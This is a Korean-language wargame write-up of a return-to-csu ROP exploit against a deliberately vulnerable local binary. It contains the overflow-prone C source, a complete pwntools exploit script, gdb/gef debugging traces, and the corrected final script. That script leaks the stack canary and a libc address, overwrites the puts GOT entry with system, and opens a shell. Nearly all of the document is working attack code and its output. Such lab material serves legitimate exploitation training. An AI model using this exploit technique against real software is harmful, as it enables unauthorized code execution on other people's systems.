#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf2: ");
read(0, buf, 0x200);
return 0;
}
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
def rtc_chain(arg1, arg2, arg3, func):
return p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(func)
p = process("./rtc")
e = ELF("./rtc")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#context.log_level = 'debug'
# [1] Leak Canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)
# [2] Write Payload
read_got = e.got['read']
puts_got = e.got['puts']
bss = e.bss()
read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
csu_init1 = 0x4012c2
csu_init2 = 0x4012a8
dummy = p64(0)
payload = b'A'*56 + p64(canary) + b'B'*8
# puts(read@got)
payload += p64(csu_init1)
payload += rtc_chain(read_got, 0, 0, puts_got)
# read(0, bss, 8) => bss : "/bin/sh"
payload += dummy
payload += rtc_chain(0, bss, 8, read_got)
# read(0, puts@got, 0) => puts@got -> system
payload += dummy
payload += rtc_chain(0, puts_got, 0, read_got)
# puts("/bin/sh") => system("/bin/sh")
payload += dummy
payload += rtc_chain(bss, 0, 0, puts_got)
slog("payload length", len(payload))
# Exploit
p.sendafter("Buf2: ", payload) # puts()와 read got를 이용해서 read() 주소 출력
read = u64(p.recvn(6)+b'\x00'*2) # 화면에 출력된 read() 주소를 read에 대입
lb = read - read_offset # libc base = read 주소 - read symbols
system = lb + libc.symbols["system"] # system = libc base + system symbols
slog("read", read)
slog("libc_base", lb)
slog("system", system)
p.send(b"/bin/sh\x00")
p.send(p64(system))
p.interactive()
익스플로잇 코드를 실행시켜보면
kali@kali ~/wargame/rtc python3 exploit.py
[+] Starting local process './rtc': pid 34424
[*] '/home/kali/wargame/rtc/rtc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:812: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[+] Canary: 0x3d836426a53add00
[+] payload length: 0x128
Traceback (most recent call last):
File "/home/kali/wargame/rtc/exploit.py", line 66, in <module>
read = u64(p.recvn(6)+b'\x00'*2) # 화면에 출력된 read() 주소를 read에 대입
File "/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 265, in recvn
while self.countdown_active() and len(self.buffer) < numb and self._fillbuffer(self.timeout):
File "/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 154, in _fillbuffer
data = self.recv_raw(self.buffer.get_fill_size())
File "/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 686, in recv_raw
raise EOFError
EOFError
[*] Process './rtc' stopped with exit code -11 (SIGSEGV) (pid 34424)
SIGSEGV 에러가 발생합니다. 에러를 잡기 위해 지금부터 디버깅을 해보겠습니다.
exploit code에 gdb.attach(p) 추가
p = process("./rtc")
e = ELF("./rtc")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#context.log_level = 'debug'
gdb.attach(p)
exploit code를 실행하면 gdb 창이 뜹니다.
kali@kali ~/wargame/rtc python3 exploit.py
[+] Starting local process './rtc': pid 11816
[*] '/home/kali/wargame/rtc/rtc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] running in new terminal: ['/usr/bin/gdb', '-q', './rtc', '11816']
[+] Waiting for debugger: Done
/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:812: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
여기서 source [path]/gef.py를 입력하면 gef를 사용할 수 있습니다.
(gdb) source /home/kali/gef/gef.py
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 10.1.90.20210103-git in 0.01ms using Python engine 3.10
gef➤
main 함수를 출력하고
gef➤ disas main
Dump of assembler code for function main:
0x0000000000401166 <+0>: push rbp
0x0000000000401167 <+1>: mov rbp,rsp
0x000000000040116a <+4>: sub rsp,0x40
0x000000000040116e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000401177 <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000040117b <+21>: xor eax,eax
0x000000000040117d <+23>: mov rax,QWORD PTR [rip+0x2edc] # 0x404060 <stdin@GLIBC_2.2.5>
0x0000000000401184 <+30>: mov ecx,0x0
0x0000000000401189 <+35>: mov edx,0x2
0x000000000040118e <+40>: mov esi,0x0
0x0000000000401193 <+45>: mov rdi,rax
0x0000000000401196 <+48>: call 0x401070 <setvbuf@plt>
0x000000000040119b <+53>: mov rax,QWORD PTR [rip+0x2eae] # 0x404050 <stdout@GLIBC_2.2.5>
0x00000000004011a2 <+60>: mov ecx,0x0
0x00000000004011a7 <+65>: mov edx,0x2
0x00000000004011ac <+70>: mov esi,0x0
0x00000000004011b1 <+75>: mov rdi,rax
0x00000000004011b4 <+78>: call 0x401070 <setvbuf@plt>
0x00000000004011b9 <+83>: lea rax,[rip+0xe44] # 0x402004
0x00000000004011c0 <+90>: mov rdi,rax
0x00000000004011c3 <+93>: call 0x401030 <puts@plt>
0x00000000004011c8 <+98>: lea rax,[rip+0xe45] # 0x402014
0x00000000004011cf <+105>: mov rdi,rax
0x00000000004011d2 <+108>: mov eax,0x0
0x00000000004011d7 <+113>: call 0x401050 <printf@plt>
0x00000000004011dc <+118>: lea rax,[rbp-0x40]
0x00000000004011e0 <+122>: mov edx,0x100
0x00000000004011e5 <+127>: mov rsi,rax
0x00000000004011e8 <+130>: mov edi,0x0
0x00000000004011ed <+135>: call 0x401060 <read@plt>
0x00000000004011f2 <+140>: lea rax,[rbp-0x40]
0x00000000004011f6 <+144>: mov rsi,rax
0x00000000004011f9 <+147>: lea rax,[rip+0xe1a] # 0x40201a
0x0000000000401200 <+154>: mov rdi,rax
0x0000000000401203 <+157>: mov eax,0x0
0x0000000000401208 <+162>: call 0x401050 <printf@plt>
0x000000000040120d <+167>: lea rax,[rip+0xe0f] # 0x402023
0x0000000000401214 <+174>: mov rdi,rax
0x0000000000401217 <+177>: call 0x401030 <puts@plt>
0x000000000040121c <+182>: lea rax,[rip+0xe16] # 0x402039
0x0000000000401223 <+189>: mov rdi,rax
0x0000000000401226 <+192>: mov eax,0x0
0x000000000040122b <+197>: call 0x401050 <printf@plt>
0x0000000000401230 <+202>: lea rax,[rbp-0x40]
0x0000000000401234 <+206>: mov edx,0x200
0x0000000000401239 <+211>: mov rsi,rax
0x000000000040123c <+214>: mov edi,0x0
0x0000000000401241 <+219>: call 0x401060 <read@plt>
0x0000000000401246 <+224>: mov eax,0x0
0x000000000040124b <+229>: mov rdx,QWORD PTR [rbp-0x8]
0x000000000040124f <+233>: sub rdx,QWORD PTR fs:0x28
0x0000000000401258 <+242>: je 0x40125f <main+249>
0x000000000040125a <+244>: call 0x401040 <__stack_chk_fail@plt>
0x000000000040125f <+249>: leave
0x0000000000401260 <+250>: ret
End of assembler dump.
입력을 받는 read 함수에 break point를 걸고 continue 해보면
gef➤ b * main+219
Breakpoint 1 at 0x401241
gef➤ c
Continuing.
Breakpoint 1, 0x0000000000401241 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fff4991d070 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbx : 0x0000000000401270 → <__libc_csu_init+0> push r15
$rcx : 0x0
$rdx : 0x200
$rsp : 0x00007fff4991d070 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbp : 0x00007fff4991d0b0 → 0x0000000000000000
$rsi : 0x00007fff4991d070 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0x0
$rip : 0x0000000000401241 → <main+219> call 0x401060 <read@plt>
$r8 : 0x16
$r9 : 0x00007f1fb97200c0 → 0x0000000000000000
$r10 : 0x0000000000402039 → 0x0100203a32667542 ("Buf2: "?)
$r11 : 0x246
$r12 : 0x0000000000401080 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fff4991d070│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $rax, $rsp, $rsi
0x00007fff4991d078│+0x0008: 0x4141414141414141
0x00007fff4991d080│+0x0010: 0x4141414141414141
0x00007fff4991d088│+0x0018: 0x4141414141414141
0x00007fff4991d090│+0x0020: 0x4141414141414141
0x00007fff4991d098│+0x0028: 0x4141414141414141
0x00007fff4991d0a0│+0x0030: 0x4141414141414141
0x00007fff4991d0a8│+0x0038: 0x2fc6bd6a650eb341
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401234 <main+206> mov edx, 0x200
0x401239 <main+211> mov rsi, rax
0x40123c <main+214> mov edi, 0x0
→ 0x401241 <main+219> call 0x401060 <read@plt>
↳ 0x401060 <read@plt+0> jmp QWORD PTR [rip+0x2fca] # 0x404030 <read@got.plt>
0x401066 <read@plt+6> push 0x3
0x40106b <read@plt+11> jmp 0x401020
0x401070 <setvbuf@plt+0> jmp QWORD PTR [rip+0x2fc2] # 0x404038 <setvbuf@got.plt>
0x401076 <setvbuf@plt+6> push 0x4
0x40107b <setvbuf@plt+11> jmp 0x401020
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
read@plt (
$rdi = 0x0000000000000000,
$rsi = 0x00007fff4991d070 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]",
$rdx = 0x0000000000000200
)
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "rtc", stopped 0x401241 in main (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401241 → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
ni를 입력하고 payload 0x128 바이트가 다 들어갔나 확인을 해보면
gef➤ ni
0x0000000000401246 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x128
$rbx : 0x0000000000401270 → <__libc_csu_init+0> push r15
$rcx : 0x00007f1fb967c55e → 0x5a77fffff0003d48 ("H="?)
$rdx : 0x200
$rsp : 0x00007fff4991d070 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbp : 0x00007fff4991d0b0 → 0x4242424242424242 ("BBBBBBBB"?)
$rsi : 0x00007fff4991d070 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0x0
$rip : 0x0000000000401246 → <main+224> mov eax, 0x0
$r8 : 0x16
$r9 : 0x00007f1fb97200c0 → 0x0000000000000000
$r10 : 0x0000000000402039 → 0x0100203a32667542 ("Buf2: "?)
$r11 : 0x246
$r12 : 0x0000000000401080 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fff4991d070│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $rsp, $rsi
0x00007fff4991d078│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fff4991d080│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fff4991d088│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fff4991d090│+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fff4991d098│+0x0028: "AAAAAAAAAAAAAAAA"
0x00007fff4991d0a0│+0x0030: "AAAAAAAA"
0x00007fff4991d0a8│+0x0038: 0x2fc6bd6a650eb300
read 함수는 정상적으로 종료되면 입력 받은 바이트수를 반환하기 때문에, rax 레지스터 값을 보면 몇 바이트가 입력되었나 알 수 있습니다.
rax 레지스터 값을 봐보면 0x128로 페이로드 길이와 일치합니다.
페이로드가 잘려서 공격에 실패한건 아닌 거 같습니다.
페이로드가 제대로 들어갔나 확인을 해보면
def rtc_chain(arg1, arg2, arg3, func):
return p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(func)
payload = b'A'*56 + p64(canary) + b'B'*8
# puts(read@got)
payload += p64(csu_init1)
payload += rtc_chain(read_got, 0, 0, puts_got)
# read(0, bss, 8) => bss : "/bin/sh"
payload += dummy
payload += rtc_chain(0, bss, 8, read_got)
# read(0, puts@got, 0) => puts@got -> system
payload += dummy
payload += rtc_chain(0, puts_got, 0, read_got)
# puts("/bin/sh") => system("/bin/sh")
payload += dummy
payload += rtc_chain(bss, 0, 0, puts_got)
gef➤ x/40gx $rsp
0x7fff4991d070: 0x4141414141414141 0x4141414141414141
0x7fff4991d080: 0x4141414141414141 0x4141414141414141
0x7fff4991d090: 0x4141414141414141 0x4141414141414141
0x7fff4991d0a0: 0x4141414141414141 0x2fc6bd6a650eb300
0x7fff4991d0b0: 0x4242424242424242 0x00000000004012c2
0x7fff4991d0c0: 0x0000000000000000 0x0000000000000001
0x7fff4991d0d0: 0x0000000000404030 0x0000000000000000
0x7fff4991d0e0: 0x0000000000000000 0x0000000000404018
0x7fff4991d0f0: 0x0000000000000000 0x0000000000000000
0x7fff4991d100: 0x0000000000000001 0x0000000000000000
0x7fff4991d110: 0x0000000000404050 0x0000000000000008
0x7fff4991d120: 0x0000000000404030 0x0000000000000000
0x7fff4991d130: 0x0000000000000000 0x0000000000000001
0x7fff4991d140: 0x0000000000000000 0x0000000000404018
0x7fff4991d150: 0x0000000000000000 0x0000000000404030
0x7fff4991d160: 0x0000000000000000 0x0000000000000000
0x7fff4991d170: 0x0000000000000001 0x0000000000404050
0x7fff4991d180: 0x0000000000000000 0x0000000000000000
0x7fff4991d190: 0x0000000000404018 0x000000000000001c
0x7fff4991d1a0: 0x0000000000000001 0x00007fff4991f3c0
gef➤ canary
[*] gef.py:L4960 'checksec' is deprecated and will be removed in a feature release. Use Elf(fname).checksec()
[+] The canary of process 11816 is at 0x7fff4991d4d9, value is 0x2fc6bd6a650eb300
제대로 들어갔습니다.
그럼 왜 공격에 실패 했는지 프로그램을 실행시키면서 봐보면
gef➤ ni
0x0000000000401258 in main ()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401246 <main+224> mov eax, 0x0
0x40124b <main+229> mov rdx, QWORD PTR [rbp-0x8]
0x40124f <main+233> sub rdx, QWORD PTR fs:0x28
→ 0x401258 <main+242> je 0x40125f <main+249> TAKEN [Reason: Z]
↳ 0x40125f <main+249> leave
0x401260 <main+250> ret
0x401261 nop WORD PTR cs:[rax+rax*1+0x0]
0x40126b nop DWORD PTR [rax+rax*1+0x0]
0x401270 <__libc_csu_init+0> push r15
0x401272 <__libc_csu_init+2> lea r15, [rip+0x2b97] # 0x403e10
일단 스택 카나리 검사는 통과합니다.
gef➤ ni
0x0000000000401260 in main ()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401258 <main+242> je 0x40125f <main+249>
0x40125a <main+244> call 0x401040 <__stack_chk_fail@plt>
0x40125f <main+249> leave
→ 0x401260 <main+250> ret
↳ 0x4012c2 <__libc_csu_init+82> pop rbx
0x4012c3 <__libc_csu_init+83> pop rbp
0x4012c4 <__libc_csu_init+84> pop r12
0x4012c6 <__libc_csu_init+86> pop r13
0x4012c8 <__libc_csu_init+88> pop r14
0x4012ca <__libc_csu_init+90> pop r15
__libc_csu_init 코드도 성공적으로 진입합니다.
gef➤ ni
0x00000000004012cc in __libc_csu_init ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007fc9d3d6b55e → 0x5a77fffff0003d48 ("H="?)
$rdx : 0x0
$rsp : 0x00007ffd9ed3af90 → 0x0000000000000000
$rbp : 0x1
$rsi : 0x00007ffd9ed3af10 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0x0
$rip : 0x00000000004012cc → <__libc_csu_init+92> ret
$r8 : 0x16
$r9 : 0x00007fc9d3e0f0c0 → 0x0000000000000000
$r10 : 0x0000000000402039 → 0x0100203a32667542 ("Buf2: "?)
$r11 : 0x246
$r12 : 0x0000000000404030 → 0x00007fc9d3d6b550 → <read+0> mov eax, DWORD PTR fs:0x18
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0000000000404018 → 0x00007fc9d3cf2e10 → <puts+0> push r14
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4012c6 <__libc_csu_init+86> pop r13
0x4012c8 <__libc_csu_init+88> pop r14
0x4012ca <__libc_csu_init+90> pop r15
→ 0x4012cc <__libc_csu_init+92> ret
0x4012cd nop DWORD PTR [rax]
0x4012d0 <__libc_csu_fini+0> ret
0x4012d1 add BYTE PTR [rax], al
0x4012d3 add BYTE PTR [rax-0x7d], cl
0x4012d6 <_fini+2> in al, dx
레지스터에 페이로드에서 설계한 값들도 잘 들어갑니다.
gef➤ ni
0x0000000000000000 in ?? ()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x0
근데 그 다음에 ret 명령을 실행하자 갑자기 공격이 끊겨 버렸습니다.
페이로드가 이상한거 같아서 다시 봐보니
def rtc_chain(arg1, arg2, arg3, func):
return p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(func)
함수에서 p64(csu_init2)를 빼먹었습니다.
페이로드를 수정해서 다시 실행해보면
def rtc_chain(arg1, arg2, arg3, func):
return p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(func) + p64(csu_init2)
kali@kali ~/wargame/rtc python3 exploit.py
[+] Starting local process './rtc': pid 35217
[*] '/home/kali/wargame/rtc/rtc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:812: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[+] Canary: 0x5f283d0b550c8200
[+] payload length: 0x148
[+] read: 0x7f5f753bd550
[+] libc_base: 0x7f5f752cf000
[+] system: 0x7f5f75318860
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
[*] Process './rtc' stopped with exit code -7 (SIGBUS) (pid 35217)
[*] Got EOF while sending in interactive
Traceback (most recent call last):
File "/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 746, in close
fd.close()
BrokenPipeError: [Errno 32] Broken pipe
이번에는 SIGBUS 에러가 발생합니다. 다시 디버깅을 해보면
gef➤ ni
0x00000000004012b1 in __libc_csu_init ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007eff9812655e → 0x5a77fffff0003d48 ("H="?)
$rdx : 0x0
$rsp : 0x00007ffebb21a528 → 0x00007ffebb21b3c6 → "CLUTTER_IM_MODULE=fcitx"
$rbp : 0x1
$rsi : 0x0
$rdi : 0x0000000000404050 → 0x0068732f6e69622f ("/bin/sh"?)
$rip : 0x00000000004012b1 → <__libc_csu_init+65> call QWORD PTR [r15+rbx*8]
$r8 : 0x7
$r9 : 0x00007eff981ca0c0 → 0x0000000000000000
$r10 : 0x0000000000402039 → 0x0100203a32667542 ("Buf2: "?)
$r11 : 0x246
$r12 : 0x0000000000404050 → 0x0068732f6e69622f ("/bin/sh"?)
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0000000000404018 → 0x00007eff980ade10 → <puts+0> push r14
$eflags: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4012a8 <__libc_csu_init+56> mov rdx, r14
0x4012ab <__libc_csu_init+59> mov rsi, r13
0x4012ae <__libc_csu_init+62> mov edi, r12d
→ 0x4012b1 <__libc_csu_init+65> call QWORD PTR [r15+rbx*8]
0x4012b5 <__libc_csu_init+69> add rbx, 0x1
0x4012b9 <__libc_csu_init+73> cmp rbp, rbx
0x4012bc <__libc_csu_init+76> jne 0x4012a8 <__libc_csu_init+56>
0x4012be <__libc_csu_init+78> add rsp, 0x8
0x4012c2 <__libc_csu_init+82> pop rbx
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*[r15+rbx*8] (
$rdi = 0x0000000000404050 → 0x0068732f6e69622f ("/bin/sh"?),
$rsi = 0x0000000000000000,
$rdx = 0x0000000000000000
)
puts 함수의 got를 system 함수 주소로 got overwrite 했는데, puts("/bin/sh")를 호출할 때 보니까 그냥 그대로 puts 함수가 호출됩니다. got overwrite가 실패한 거 같습니다.
다시 got overwrite 하는 부분의 페이로드를 봐보면
# read(0, puts@got, 0) => puts@got -> system
payload += dummy
payload += rtc_chain(0, puts_got, 0, read_got)
실수로 read 함수로 읽어들일 바이트 수를 0으로 설정해버렸네요.
# read(0, puts@got, 8) => puts@got -> system
payload += dummy
payload += rtc_chain(0, puts_got, 8, read_got)
페이로드를 다시 수정해서 시도해보면
kali@kali ~/wargame/rtc python3 exploit.py
[+] Starting local process './rtc': pid 37587
[*] '/home/kali/wargame/rtc/rtc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:812: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[+] Canary: 0x52243a15630dde00
[+] payload length: 0x148
[+] read: 0x7f31feeb0550
[+] libc_base: 0x7f31fedc2000
[+] system: 0x7f31fee0b860
[*] Switching to interactive mode
$ whoami
kali
공격에 성공해서 쉘이 떴습니다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
def rtc_chain(arg1, arg2, arg3, func):
return p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(func) + p64(csu_init2)
p = process("./rtc")
e = ELF("./rtc")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#context.log_level = 'debug'
#gdb.attach(p)
# [1] Leak Canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)
# [2] Write Payload
read_got = e.got['read']
puts_got = e.got['puts']
bss = e.bss()
read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
csu_init1 = 0x4012c2
csu_init2 = 0x4012a8
dummy = p64(0)
payload = b'A'*56 + p64(canary) + b'B'*8
# puts(read@got)
payload += p64(csu_init1)
payload += rtc_chain(read_got, 0, 0, puts_got)
# read(0, bss, 8) => bss : "/bin/sh"
payload += dummy
payload += rtc_chain(0, bss, 8, read_got)
# read(0, puts@got, 8) => puts@got -> system
payload += dummy
payload += rtc_chain(0, puts_got, 8, read_got)
# puts("/bin/sh") => system("/bin/sh")
payload += dummy
payload += rtc_chain(bss, 0, 0, puts_got)
slog("payload length", len(payload))
# Exploit
p.sendafter("Buf2: ", payload) # puts()와 read got를 이용해서 read() 주소 출력
read = u64(p.recvn(6)+b'\x00'*2) # 화면에 출력된 read() 주소를 read에 대입
lb = read - read_offset # libc base = read 주소 - read symbols
system = lb + libc.symbols["system"] # system = libc base + system symbols
slog("read", read)
slog("libc_base", lb)
slog("system", system)
p.send(b"/bin/sh\x00")
p.send(p64(system))
p.interactive()